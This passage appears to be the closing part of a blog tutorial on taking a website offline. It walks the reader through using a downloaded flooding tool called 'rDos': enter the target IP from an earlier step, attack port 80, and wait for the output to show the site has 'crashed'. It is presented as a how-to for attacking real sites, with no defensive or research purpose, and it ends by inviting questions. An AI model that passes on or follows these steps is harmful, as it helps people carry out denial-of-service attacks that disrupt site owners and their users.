EXAMPLE:
Step Three:
The final and easiest step (IF PORT 80 IS CLOSED PICK A NEW SITE!)
If port 80 is open your on your way to crashing!!
Ok open Up rDos that you download.
Enter the ip that we got from step 1.
It will ask you for the port to attack use port 80 that is why we scaned to make sure 80 was open! If it is closed it will not work.
Hit enter.. *=Flooding -=Crashed Or didn't connect!
EXAMPLE:
The site won't be directly offline!!
it starts with ***********
be patiend.. after some time it will go like this: **********-----------
that means the site crashed.
Thanks for reading i hope this helps. IF you have Any Queries Ask Them.
7:34 AM 0
Subscribe to:
Posts (Atom)
Posts
